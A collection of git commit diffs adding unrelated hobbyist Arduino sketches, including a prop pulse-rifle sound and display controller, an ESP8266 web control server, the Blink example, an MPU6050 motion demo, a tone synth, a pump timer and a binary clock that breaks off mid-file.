@@ -0,0 +1,241 @@
+/*
+ * Copyright (c) 2014, Majenko Technologies
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification,
+ * are permitted provided that the following conditions are met:
+ *
+ * * Redistributions of source code must retain the above copyright notice, this
+ *   list of conditions and the following disclaimer.
+ *
+ * * Redistributions in binary form must reproduce the above copyright notice, this
+ *   list of conditions and the following disclaimer in the documentation and/or
+ *   other materials provided with the distribution.
+ *
+ * * Neither the name of Majenko Technologies nor the names of its
+ *   contributors may be used to endorse or promote products derived from
+ *   this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
+ * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+ * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include <LEDMux.h>
+#include <PWMAudio.h>
+#include <DebouncedInput.h>
+
+#include "sounds.h"
+
+#pragma parameter board=prfmv2-575
+
+PWMAudio sound(AUDIO, 11025, AMP);
+LEDMux display(8, 2, 2000);
+
+DebouncedInput prTrigger(IO0, 10, true);
+DebouncedInput magazine(IO1, 10, true);
+DebouncedInput glTrigger(IO2, 10, true);
+DebouncedInput glRack(IO3, 10, true);
+
+unsigned int prAmmo = 99;
+unsigned int glAmmo = 5;
+unsigned int glBreech = 0;
+
+const unsigned int AMMO_TICK_SPEED = 100;
+const unsigned int PR_FIRE_SPEED = 1000 / 20;
+const unsigned int PR_SWEEP_SPEED = 1;
+const unsigned int FLASH_FADE_SPEED = 2;
+
+int prSweep = 0;
+int prSweepStep;
+int prSweepCount = 0;
+int prFlash = 0;
+int glFlash = 0;
+
+void firePulseRifle();
+
+void setup() {
+    Serial.begin(9600);
+    sound.begin();
+
+    prTrigger.begin();
+    magazine.begin();
+    glTrigger.begin();
+    glRack.begin();
+
+    display.setCathodes(DC0, DC1);
+    display.setAnodes(DA0, DA1, DA2, DA3, DA4, DA5, DA6, DA7);
+    display.setBrightness(6);
+    display.begin();
+    display.print("\n");
+    display.print(prAmmo);
+}
+
+void loop() {
+    static unsigned long ammoLoadTick = millis();
+    static unsigned long prFireTick = 0;
+    static unsigned long displayTimeout = 0;
+    static unsigned long mfFade = millis();
+    unsigned long now = millis();
+    char t[4];
+
+    if (now - mfFade >= FLASH_FADE_SPEED) {
+        mfFade = now;
+
+        if (glFlash > 0) {
+            glFlash--;
+        }
+
+        if (prFlash > 0) {
+            prFlash -= 4;
+        }
+
+        if (prFlash < 0) {
+            prFlash = 0;
+        }
+
+        analogWrite(LED0, prFlash);
+        analogWrite(LED1, glFlash);
+    }
+
+    if (displayTimeout > 0) {
+        if (now - displayTimeout >= 1000) {
+            displayTimeout = 0;
+            sprintf(t, "\n%02d", prAmmo);
+            display.print(t);
+        }
+    }
+
+    if (prAmmo > 95) {
+        if (now - ammoLoadTick >= AMMO_TICK_SPEED) {
+            ammoLoadTick = now;
+            prAmmo --;
+
+            if (prAmmo < 100) {
+                display.print("\n");
+                display.print(prAmmo);
+                sound.queueSample(load_click, load_click_len, 0, 0);
+
+            } else {
+                display.print("\n--");
+            }
+        }
+    }
+
+    if (prTrigger.changed()) {
+        if (prTrigger.read() == LOW) {
+            prFireTick = now;
+            prSweepCount = 0;
+            prSweep = (rand() % 32) - 8;
+
+            if (prSweep > 0) {
+                prSweepStep = -PR_SWEEP_SPEED;
+
+            } else {
+                prSweepStep = PR_SWEEP_SPEED;
+            }
+
+            firePulseRifle();
+
+        } else {
+            prFireTick = 0;
+        }
+    }
+
+    if (prFireTick != 0) {
+        if (now - prFireTick >= PR_FIRE_SPEED) {
+            prFireTick = now;
+            firePulseRifle();
+        }
+    }
+
+    if (magazine.changed()) {
+        if (magazine.read() == LOW) {
+            sound.queueSingleSample(magazine_insert, magazine_insert_len, 0, 0);
+            prAmmo = 104;
+            glAmmo = 5;
+
+        } else {
+            sound.queueSingleSample(magazine_remove, magazine_remove_len, 0, 0);
+            prAmmo = 0;
+            glAmmo = 0;
+            display.print("\n--");
+        }
+    }
+
+    if (glRack.changed()) {
+
+        if (glRack.read() == LOW) {
+            if (glBreech == 1) {
+                sound.queueSingleSample(gl_rack_pull, gl_rack_pull_len, 0, 0);
+
+            } else {
+                sound.queueSingleSample(gl_rack_pull_empty, gl_rack_pull_empty_len, 0, 0);
+            }
+
+            glBreech = 0;
+            display.setDecimalPoint(0, LOW);
+            sprintf(t, "\n%02d", glAmmo);
+            display.print(t);
+            displayTimeout = now;
+
+        } else {
+            if (glAmmo > 0) {
+                glAmmo--;
+                glBreech = 1;
+                display.setDecimalPoint(0, HIGH);
+                sound.queueSingleSample(gl_rack_push, gl_rack_push_len, 0, 0);
+
+            } else {
+                sound.queueSingleSample(gl_rack_push_empty, gl_rack_push_empty_len, 0, 0);
+            }
+
+            sprintf(t, "\n%02d", glAmmo);
+            display.print(t);
+            displayTimeout = now;
+        }
+    }
+
+    if (glTrigger.changed()) {
+        if (glTrigger.read() == LOW) {
+            if (glBreech == 1) {
+                glBreech = 0;
+                display.setDecimalPoint(0, LOW);
+                glFlash = 255;
+                sound.queueSample(gl_fire, gl_fire_len, 0, 0);
+                sound.queueSample(gl_boom, gl_boom_len, 2000 + (rand() % 10000), (rand() % 100) - 50);
+
+            } else {
+                sound.queueSample(pr_click, pr_click_len, 0, 0);
+            }
+        }
+    }
+}
+
+void firePulseRifle() {
+    char t[4];
+
+    if (prAmmo > 0 && prAmmo <= 95) {
+        prAmmo --;
+        sound.queueSample(pr_fire, pr_fire_len, 0, prSweep * 4);
+
+        if (prSweepCount > 3 && prSweepCount < 10) {
+            prSweep += prSweepStep;
+        }
+
+        prSweepCount++;
+        sprintf(t, "\n%02d", prAmmo);
+        display.print(t);
+        prFlash = 255;
+
+    } else {
+        sound.queueSample(pr_click, pr_click_len, 0, 0);
+    }
+}


WLAN Controll for the Arduino (ESP8266-12 as serial interface)

error: pathspec 'src/Arduino/CUBE_WLAN/CUBE_WLAN.ino' did not match any file(s) known to git

--- src/Arduino/CUBE_WLAN/CUBE_WLAN.ino
+++ src/Arduino/CUBE_WLAN/CUBE_WLAN.ino
@@ -0,0 +1,75 @@
+#include <ESP8266WiFi.h>
+#include <WiFiClient.h>
+#include <ESP8266WebServer.h>
+#include <ESP8266mDNS.h>
+
+const char* ssid = "****";
+const char* password = "*****";
+
+ESP8266WebServer server(80);
+
+void handleRoot() {
+  server.send(200, "text/plain", "hello from cube controller");
+}
+
+void handleSetMode() {
+  if (server.hasArg("MODE")){
+    String cubeMode = server.arg("MODE");
+    String msg = "New Mode : " + cubeMode;
+    Serial.print(cubeMode);
+    delay(200);
+    msg += "
Response from Cube:
" + Serial.readString();
+    server.send(200, "text/html", msg);
+  }
+}
+
+void handleNotFound(){
+  String message = "File Not Found\n\n";
+  message += "URI: ";
+  message += server.uri();
+  message += "\nMethod: ";
+  message += (server.method() == HTTP_GET)?"GET":"POST";
+  message += "\nArguments: ";
+  message += server.args();
+  message += "\n";
+  for (uint8_t i=0; i<server.args(); i++){
+    message += " " + server.argName(i) + ": " + server.arg(i) + "\n";
+  }
+  server.send(404, "text/plain", message);
+}
+
+void setup(void){
+  Serial.begin(115200);
+  WiFi.begin(ssid, password);
+  //Serial.println("");
+
+  // Wait for connection
+  while (WiFi.status() != WL_CONNECTED) {
+    delay(500);
+    //Serial.print(".");
+  }
+  /*
+  Serial.println("");
+  Serial.print("Connected to ");
+  Serial.println(ssid);
+  Serial.print("IP address: ");
+  Serial.println(WiFi.localIP());
+  */
+
+  if (MDNS.begin("esp8266")) {
+    //Serial.println("MDNS responder started");
+  }
+
+  server.on("/", handleRoot);
+
+  server.on("/setmode", handleSetMode);
+
+  server.onNotFound(handleNotFound);
+
+  server.begin();
+  //Serial.println("HTTP server started");
+}
+
+void loop(void){
+  server.handleClient();
+}


add blink sketch for ESP32

add blink sketch for ESP32

error: pathspec 'playground/ESP32/Blink/Blink.ino' did not match any file(s) known to git

--- playground/ESP32/Blink/Blink.ino
+++ playground/ESP32/Blink/Blink.ino
@@ -0,0 +1,37 @@
+/*
+  Blink
+
+  Turns an LED on for one second, then off for one second, repeatedly.
+
+  Most Arduinos have an on-board LED you can control. On the UNO, MEGA and ZERO
+  it is attached to digital pin 13, on MKR1000 on pin 6. LED_BUILTIN is set to
+  the correct LED pin independent of which board is used.
+  If you want to know what pin the on-board LED is connected to on your Arduino
+  model, check the Technical Specs of your board at:
+  https://www.arduino.cc/en/Main/Products
+
+  modified 8 May 2014
+  by Scott Fitzgerald
+  modified 2 Sep 2016
+  by Arturo Guadalupi
+  modified 8 Sep 2016
+  by Colby Newman
+
+  This example code is in the public domain.
+
+  http://www.arduino.cc/en/Tutorial/Blink
+*/
+
+// the setup function runs once when you press reset or power the board
+void setup() {
+  // initialize digital pin LED_BUILTIN as an output.
+  pinMode(LED_BUILTIN, OUTPUT);
+}
+
+// the loop function runs over and over again forever
+void loop() {
+  digitalWrite(LED_BUILTIN, HIGH);   // turn the LED on (HIGH is the voltage level)
+  delay(1000);                       // wait for a second
+  digitalWrite(LED_BUILTIN, LOW);    // turn the LED off by making the voltage LOW
+  delay(1000);                       // wait for a second
+}


Added Arduino created code.

Added Arduino created code.

error: pathspec 'CreatedCode/Arduino/MPU6050Arduino1.ino' did not match any file(s) known to git

--- CreatedCode/Arduino/MPU6050Arduino1.ino
+++ CreatedCode/Arduino/MPU6050Arduino1.ino
@@ -0,0 +1,378 @@
+// I2C device class (I2Cdev) demonstration Arduino sketch for MPU6050 class using DMP (MotionApps v2.0)
+// 6/21/2012 by Jeff Rowberg <jeff@rowberg.net>
+// Updates should (hopefully) always be available at https://github.com/jrowberg/i2cdevlib
+//
+// Changelog:
+//      2013-05-08 - added seamless Fastwire support
+//                 - added note about gyro calibration
+//      2012-06-21 - added note about Arduino 1.0.1 + Leonardo compatibility error
+//      2012-06-20 - improved FIFO overflow handling and simplified read process
+//      2012-06-19 - completely rearranged DMP initialization code and simplification
+//      2012-06-13 - pull gyro and accel data from FIFO packet instead of reading directly
+//      2012-06-09 - fix broken FIFO read sequence and change interrupt detection to RISING
+//      2012-06-05 - add gravity-compensated initial reference frame acceleration output
+//                 - add 3D math helper file to DMP6 example sketch
+//                 - add Euler output and Yaw/Pitch/Roll output formats
+//      2012-06-04 - remove accel offset clearing for better results (thanks Sungon Lee)
+//      2012-06-01 - fixed gyro sensitivity to be 2000 deg/sec instead of 250
+//      2012-05-30 - basic DMP initialization working
+
+/* ============================================
+I2Cdev device library code is placed under the MIT license
+Copyright (c) 2012 Jeff Rowberg
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+===============================================
+*/
+
+// I2Cdev and MPU6050 must be installed as libraries, or else the .cpp/.h files
+// for both classes must be in the include path of your project
+#include "I2Cdev.h"
+
+#include "MPU6050_6Axis_MotionApps20.h"
+//#include "MPU6050.h" // not necessary if using MotionApps include file
+
+// Arduino Wire library is required if I2Cdev I2CDEV_ARDUINO_WIRE implementation
+// is used in I2Cdev.h
+#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE
+    #include "Wire.h"
+#endif
+
+// class default I2C address is 0x68
+// specific I2C addresses may be passed as a parameter here
+// AD0 low = 0x68 (default for SparkFun breakout and InvenSense evaluation board)
+// AD0 high = 0x69
+MPU6050 mpu;
+//MPU6050 mpu(0x69); // <-- use for AD0 high
+
+/* =========================================================================
+   NOTE: In addition to connection 3.3v, GND, SDA, and SCL, this sketch
+   depends on the MPU-6050's INT pin being connected to the Arduino's
+   external interrupt #0 pin. On the Arduino Uno and Mega 2560, this is
+   digital I/O pin 2.
+ * ========================================================================= */
+
+/* =========================================================================
+   NOTE: Arduino v1.0.1 with the Leonardo board generates a compile error
+   when using Serial.write(buf, len). The Teapot output uses this method.
+   The solution requires a modification to the Arduino USBAPI.h file, which
+   is fortunately simple, but annoying. This will be fixed in the next IDE
+   release. For more info, see these links:
+
+   http://arduino.cc/forum/index.php/topic,109987.0.html
+   http://code.google.com/p/arduino/issues/detail?id=958
+ * ========================================================================= */
+
+
+
+// uncomment "OUTPUT_READABLE_QUATERNION" if you want to see the actual
+// quaternion components in a [w, x, y, z] format (not best for parsing
+// on a remote host such as Processing or something though)
+//#define OUTPUT_READABLE_QUATERNION
+
+// uncomment "OUTPUT_READABLE_EULER" if you want to see Euler angles
+// (in degrees) calculated from the quaternions coming from the FIFO.
+// Note that Euler angles suffer from gimbal lock (for more info, see
+// http://en.wikipedia.org/wiki/Gimbal_lock)
+#define OUTPUT_READABLE_EULER
+
+// uncomment "OUTPUT_READABLE_YAWPITCHROLL" if you want to see the yaw/
+// pitch/roll angles (in degrees) calculated from the quaternions coming
+// from the FIFO. Note this also requires gravity vector calculations.
+// Also note that yaw/pitch/roll angles suffer from gimbal lock (for
+// more info, see: http://en.wikipedia.org/wiki/Gimbal_lock)
+//#define OUTPUT_READABLE_YAWPITCHROLL
+
+// uncomment "OUTPUT_READABLE_REALACCEL" if you want to see acceleration
+// components with gravity removed. This acceleration reference frame is
+// not compensated for orientation, so +X is always +X according to the
+// sensor, just without the effects of gravity. If you want acceleration
+// compensated for orientation, us OUTPUT_READABLE_WORLDACCEL instead.
+//#define OUTPUT_READABLE_REALACCEL
+
+// uncomment "OUTPUT_READABLE_WORLDACCEL" if you want to see acceleration
+// components with gravity removed and adjusted for the world frame of
+// reference (yaw is relative to initial orientation, since no magnetometer
+// is present in this case). Could be quite handy in some cases.
+//#define OUTPUT_READABLE_WORLDACCEL
+
+// uncomment "OUTPUT_TEAPOT" if you want output that matches the
+// format used for the InvenSense teapot demo
+//#define OUTPUT_TEAPOT
+
+
+
+#define LED_PIN 13 // (Arduino is 13, Teensy is 11, Teensy++ is 6)
+bool blinkState = false;
+
+// MPU control/status vars
+bool dmpReady = false;  // set true if DMP init was successful
+uint8_t mpuIntStatus;   // holds actual interrupt status byte from MPU
+uint8_t devStatus;      // return status after each device operation (0 = success, !0 = error)
+uint16_t packetSize;    // expected DMP packet size (default is 42 bytes)
+uint16_t fifoCount;     // count of all bytes currently in FIFO
+uint8_t fifoBuffer[64]; // FIFO storage buffer
+
+// orientation/motion vars
+Quaternion q;           // [w, x, y, z]         quaternion container
+VectorInt16 aa;         // [x, y, z]            accel sensor measurements
+VectorInt16 aaReal;     // [x, y, z]            gravity-free accel sensor measurements
+VectorInt16 aaWorld;    // [x, y, z]            world-frame accel sensor measurements
+VectorFloat gravity;    // [x, y, z]            gravity vector
+float euler[3];         // [psi, theta, phi]    Euler angle container
+float ypr[3];           // [yaw, pitch, roll]   yaw/pitch/roll container and gravity vector
+
+// packet structure for InvenSense teapot demo
+uint8_t teapotPacket[14] = { '$', 0x02, 0,0, 0,0, 0,0, 0,0, 0x00, 0x00, '\r', '\n' };
+
+
+
+// ================================================================
+// ===               INTERRUPT DETECTION ROUTINE                ===
+// ================================================================
+
+volatile bool mpuInterrupt = false;     // indicates whether MPU interrupt pin has gone high
+void dmpDataReady() {
+    mpuInterrupt = true;
+}
+
+
+
+// ================================================================
+// ===                      INITIAL SETUP                       ===
+// ================================================================
+
+void setup() {
+    // join I2C bus (I2Cdev library doesn't do this automatically)
+    #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE
+        Wire.begin();
+        TWBR = 24; // 400kHz I2C clock (200kHz if CPU is 8MHz)
+    #elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE
+        Fastwire::setup(400, true);
+    #endif
+
+    // initialize serial communication
+    // (115200 chosen because it is required for Teapot Demo output, but it's
+    // really up to you depending on your project)
+    Serial.begin(57600);
+    while (!Serial); // wait for Leonardo enumeration, others continue immediately
+
+    // NOTE: 8MHz or slower host processors, like the Teensy @ 3.3v or Ardunio
+    // Pro Mini running at 3.3v, cannot handle this baud rate reliably due to
+    // the baud timing being too misaligned with processor ticks. You must use
+    // 38400 or slower in these cases, or use some kind of external separate
+    // crystal solution for the UART timer.
+
+    // initialize device
+    Serial.println(F("Initializing I2C devices..."));
+    mpu.initialize();
+
+    // verify connection
+    Serial.println(F("Testing device connections..."));
+    Serial.println(mpu.testConnection() ? F("MPU6050 connection successful") : F("MPU6050 connection failed"));
+
+    // wait for ready
+    Serial.println(F("\nSend any character to begin DMP programming and demo: "));
+    while (Serial.available() && Serial.read()); // empty buffer
+    while (!Serial.available());                 // wait for data
+    while (Serial.available() && Serial.read()); // empty buffer again
+
+    // load and configure the DMP
+    Serial.println(F("Initializing DMP..."));
+    devStatus = mpu.dmpInitialize();
+
+    // supply your own gyro offsets here, scaled for min sensitivity
+    mpu.setXGyroOffset(220);
+    mpu.setYGyroOffset(76);
+    mpu.setZGyroOffset(-85);
+    mpu.setZAccelOffset(1788); // 1688 factory default for my test chip
+
+    // make sure it worked (returns 0 if so)
+    if (devStatus == 0) {
+        // turn on the DMP, now that it's ready
+        Serial.println(F("Enabling DMP..."));
+        mpu.setDMPEnabled(true);
+
+        // enable Arduino interrupt detection
+        Serial.println(F("Enabling interrupt detection (Arduino external interrupt 0)..."));
+        attachInterrupt(0, dmpDataReady, RISING);
+        mpuIntStatus = mpu.getIntStatus();
+
+        // set our DMP Ready flag so the main loop() function knows it's okay to use it
+        Serial.println(F("DMP ready! Waiting for first interrupt..."));
+        dmpReady = true;
+
+        // get expected DMP packet size for later comparison
+        packetSize = mpu.dmpGetFIFOPacketSize();
+    } else {
+        // ERROR!
+        // 1 = initial memory load failed
+        // 2 = DMP configuration updates failed
+        // (if it's going to break, usually the code will be 1)
+        Serial.print(F("DMP Initialization failed (code "));
+        Serial.print(devStatus);
+        Serial.println(F(")"));
+    }
+
+    // configure LED for output
+    pinMode(LED_PIN, OUTPUT);
+}
+
+
+
+// ================================================================
+// ===                    MAIN PROGRAM LOOP                     ===
+// ================================================================
+
+void loop() {
+    // if programming failed, don't try to do anything
+    if (!dmpReady) return;
+
+    // wait for MPU interrupt or extra packet(s) available
+    while (!mpuInterrupt && fifoCount < packetSize) {
+        // other program behavior stuff here
+        // .
+        // .
+        // .
+        // if you are really paranoid you can frequently test in between other
+        // stuff to see if mpuInterrupt is true, and if so, "break;" from the
+        // while() loop to immediately process the MPU data
+        // .
+        // .
+        // .
+    }
+
+    // reset interrupt flag and get INT_STATUS byte
+    mpuInterrupt = false;
+    mpuIntStatus = mpu.getIntStatus();
+
+    // get current FIFO count
+    fifoCount = mpu.getFIFOCount();
+
+    // check for overflow (this should never happen unless our code is too inefficient)
+    if ((mpuIntStatus & 0x10) || fifoCount == 1024) {
+        // reset so we can continue cleanly
+        mpu.resetFIFO();
+        Serial.println(F("FIFO overflow!"));
+
+    // otherwise, check for DMP data ready interrupt (this should happen frequently)
+    } else if (mpuIntStatus & 0x02) {
+        // wait for correct available data length, should be a VERY short wait
+        while (fifoCount < packetSize) fifoCount = mpu.getFIFOCount();
+
+        // read a packet from FIFO
+        mpu.getFIFOBytes(fifoBuffer, packetSize);
+
+        // track FIFO count here in case there is > 1 packet available
+        // (this lets us immediately read more without waiting for an interrupt)
+        fifoCount -= packetSize;
+
+        #ifdef OUTPUT_READABLE_QUATERNION
+            // display quaternion values in easy matrix form: w x y z
+            mpu.dmpGetQuaternion(&q, fifoBuffer);
+            Serial.print("quat\t");
+            Serial.print(q.w);
+            Serial.print("\t");
+            Serial.print(q.x);
+            Serial.print("\t");
+            Serial.print(q.y);
+            Serial.print("\t");
+            Serial.println(q.z);
+        #endif
+
+        #ifdef OUTPUT_READABLE_EULER
+            // display Euler angles in degrees
+            mpu.dmpGetQuaternion(&q, fifoBuffer);
+            mpu.dmpGetEuler(euler, &q);
+            int xDeg = (int)(euler[0]*90/M_PI)+90;
+            int yDeg = (int)(euler[1]*90/M_PI)+90;
+            int zDeg = (int)(euler[2]*90/M_PI)+90;
+            Serial.print("euler\t");
+            Serial.print(xDeg);
+            Serial.print("\t");
+            Serial.print(yDeg);
+            Serial.print("\t");
+            Serial.println(zDeg);
+            analogWrite(3, xDeg);
+            analogWrite(5, yDeg);
+            analogWrite(6, zDeg);
+        #endif
+
+        #ifdef OUTPUT_READABLE_YAWPITCHROLL
+            // display Euler angles in degrees
+            mpu.dmpGetQuaternion(&q, fifoBuffer);
+            mpu.dmpGetGravity(&gravity, &q);
+            mpu.dmpGetYawPitchRoll(ypr, &q, &gravity);
+            Serial.print("ypr\t");
+            Serial.print(ypr[0] * 180/M_PI);
+            Serial.print("\t");
+            Serial.print(ypr[1] * 180/M_PI);
+            Serial.print("\t");
+            Serial.println(ypr[2] * 180/M_PI);
+        #endif
+
+        #ifdef OUTPUT_READABLE_REALACCEL
+            // display real acceleration, adjusted to remove gravity
+            mpu.dmpGetQuaternion(&q, fifoBuffer);
+            mpu.dmpGetAccel(&aa, fifoBuffer);
+            mpu.dmpGetGravity(&gravity, &q);
+            mpu.dmpGetLinearAccel(&aaReal, &aa, &gravity);
+            Serial.print("areal\t");
+            Serial.print(aaReal.x);
+            Serial.print("\t");
+            Serial.print(aaReal.y);
+            Serial.print("\t");
+            Serial.println(aaReal.z);
+        #endif
+
+        #ifdef OUTPUT_READABLE_WORLDACCEL
+            // display initial world-frame acceleration, adjusted to remove gravity
+            // and rotated based on known orientation from quaternion
+            mpu.dmpGetQuaternion(&q, fifoBuffer);
+            mpu.dmpGetAccel(&aa, fifoBuffer);
+            mpu.dmpGetGravity(&gravity, &q);
+            mpu.dmpGetLinearAccel(&aaReal, &aa, &gravity);
+            mpu.dmpGetLinearAccelInWorld(&aaWorld, &aaReal, &q);
+            Serial.print("aworld\t");
+            Serial.print(aaWorld.x);
+            Serial.print("\t");
+            Serial.print(aaWorld.y);
+            Serial.print("\t");
+            Serial.println(aaWorld.z);
+        #endif
+
+        #ifdef OUTPUT_TEAPOT
+            // display quaternion values in InvenSense Teapot demo format:
+            teapotPacket[2] = fifoBuffer[0];
+            teapotPacket[3] = fifoBuffer[1];
+            teapotPacket[4] = fifoBuffer[4];
+            teapotPacket[5] = fifoBuffer[5];
+            teapotPacket[6] = fifoBuffer[8];
+            teapotPacket[7] = fifoBuffer[9];
+            teapotPacket[8] = fifoBuffer[12];
+            teapotPacket[9] = fifoBuffer[13];
+            Serial.write(teapotPacket, 14);
+            teapotPacket[11]++; // packetCount, loops at 0xFF on purpose
+        #endif
+
+        // blink LED to indicate activity
+        blinkState = !blinkState;
+        digitalWrite(LED_PIN, blinkState);
+    }
+}


Initial commit for code

Initial commit for code

error: pathspec 'soundSynth.ino' did not match any file(s) known to git

--- soundSynth.ino
+++ soundSynth.ino
@@ -0,0 +1,64 @@
+void setup() {
+  // put your setup code here, to run once:
+
+  pinMode(2, INPUT);
+  pinMode(3, INPUT);
+  pinMode(4, INPUT);
+  pinMode(5, INPUT);
+  pinMode(6, INPUT);
+
+  pinMode(13, OUTPUT);
+
+
+}
+
+
+
+void loop() {
+
+  int len = 500;
+  int t1 = 220;
+  int t2 = 246.94;
+  int t3 = 277.18;
+  int t4 = 293.66;
+  int t5 = 329.63;
+
+  if (digitalRead(2) == HIGH) {
+    tone(13, t1);
+    delay(len);
+    noTone(13);
+
+
+  }
+
+  if (digitalRead(3) == HIGH) {
+    tone(13, t2);
+    delay(len);
+    noTone(13);
+
+
+  }
+  if (digitalRead(4) == HIGH) {
+    tone(13, t3);
+    delay(len);
+    noTone(13);
+
+
+  }
+  if (digitalRead(5) == HIGH) {
+    tone(13, t4);
+    delay(len);
+    noTone(13);
+
+
+  }
+  if (digitalRead(6) == HIGH) {
+    tone(13, t5);
+    delay(len);
+    noTone(13);
+
+
+
+
+}
+}


Create AWSCPumpTiming.ino

Create AWSCPumpTiming.ino

error: pathspec 'AWSCPumpTiming/AWSCPumpTiming.ino' did not match any file(s) known to git

--- AWSCPumpTiming/AWSCPumpTiming.ino
+++ AWSCPumpTiming/AWSCPumpTiming.ino
@@ -0,0 +1,69 @@
+
+unsigned long t=0;
+unsigned long tpump=0;
+unsigned long tair=0;
+int airstatus=0;
+int pumpstatus=0;
+//pins
+const int Pump = 8;
+const int Air = 7;
+//Edit these times below to change factors
+unsigned long PumpInterval= 60000 *360;//How often in min
+unsigned long AirInterval= 60000 *15;//How often in min
+unsigned long PumpRunTime = 60000 *.5;//How Long in min
+unsigned long AirRunTime = 60000 *1;//How Long in min
+
+void setup() {
+pinMode(Pump, OUTPUT);
+pinMode(Air, OUTPUT);
+//convert to milli sec
+/*PumpInterval = 60000 * PumpInterval;
+AirInterval = 60000 * AirInterval;
+PumpRunTime = 60000 * PumpRunTime;
+AirRunTime = 60000 * AirRunTime;*/
+tair = AirInterval;
+tpump = PumpInterval;
+}
+void AirFunction(int s){
+  if (s==1 && pumpstatus==0){
+    digitalWrite(Air, HIGH);
+    airstatus = 1;
+    tair =t;
+  }
+  else if (s ==0){
+    digitalWrite(Air, LOW);
+    airstatus =0;
+  }
+}
+void PumpFunction(int s){
+  if (s==1){
+    digitalWrite(Pump, HIGH);
+    pumpstatus = 1;
+    tpump =t;
+  }
+  else if (s ==0){
+    digitalWrite(Pump, LOW);
+    pumpstatus =0;
+}}
+void waiting(){//function to read and report everything at given intervals
+  t= millis() +PumpInterval;
+  if (t-tair<0){}
+  else if ((t-tair>0) && t-tair > AirInterval + AirRunTime){
+    AirFunction(1);
+  }
+  else if (t-tair > AirRunTime && airstatus==1){
+    AirFunction(0);
+  }
+  if (t-tpump<0){}
+  else if ((t-tpump>0) && (t-tpump > PumpInterval+PumpRunTime)){
+    AirFunction(0);
+    PumpFunction(1);
+  }
+  else if (t-tpump>0 && t-tpump > PumpRunTime){
+    PumpFunction(0);
+  }
+}
+void loop() {
+  delay(5000);
+  waiting();
+}


Create base2clock7.ino

Create base2clock7.ino

Created for compatibility with dumb smart phone.

error: pathspec 'base2clock7.ino' did not match any file(s) known to git

--- base2clock7.ino
+++ base2clock7.ino
@@ -0,0 +1,207 @@
+/***************************
+*
+* base 2 clock code for arduino
+* Copyleft (C) 2015 Daniel K. Spicer
+*
+* This program is free software: you can redistribute it and/or modify
+* it under the terms of the GNU General Public License as published by
+* the Free Software Foundation, either version 3 of the License, or
+* (at your option) any later version.
+*
+* This program is distributed in the hope that it will be useful,
+* but WITHOUT ANY WARRANTY; without even the implied warranty of
+* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+* GNU General Public License for more details.
+*
+* You should have received a copy of the GNU General Public License
+* along with this program. If not, see <http://www.gnu.org/licenses/>.
+*
+****************************/
+
+// adjust this value to tune the clock. 10,000 should be close, lower if clock runs slow, higher if fast.
+// #define INTERVAL_TIME 9991 slightly slow
+// #define INTERVAL_TIME 9990 very slightly slow
+
+#define INTERVAL_TIME 9993
+
+// fine tune here after establishing an INTERVAL_TIME which is slighly slow and if you decrease by one it
+// will be fast. The higher this number the faster. If 99 is still too slow, drop INTERVAL_TIME by one.
+
+#define PERCENT_FASTER 1
+
+//int's representing led's. 1 = on, 0 = off. Initially they will all be off.
+int p1,p2,p3,p4,p5,p6,p7,p8 = 0;
+int iterations, count, time_count = 0;
+int interval_time = INTERVAL_TIME;
+boolean time_set, increment_flg = false;
+unsigned long mils, prev_mils = 0;
+
+// function prototypes
+void setTimeSlow();
+void setTimeFast();
+void resetTimeSetFlags();
+boolean setIncrementFlag();
+void doIncrement();
+void lightLights();
+
+void setup(){
+//8 led's as outputs.
+  pinMode(13, OUTPUT);
+  pinMode(12, OUTPUT);
+  pinMode(11, OUTPUT);
+  pinMode(10, OUTPUT);
+  pinMode(9, OUTPUT);
+  pinMode(8, OUTPUT);
+  pinMode(7, OUTPUT);
+  pinMode(6, OUTPUT);
+
+  pinMode(2, INPUT);
+  digitalWrite(2, HIGH);
+  pinMode(3, INPUT);
+  digitalWrite(3, HIGH);
+
+  attachInterrupt(0, setTimeSlow , LOW); // pin 2
+  attachInterrupt(1, setTimeFast , LOW); // pin 3
+
+  prev_mils = millis();
+
+} // end setup()
+
+void loop(){
+  if(time_set){ //time has been set, so increment as instructed.
+    time_count++;
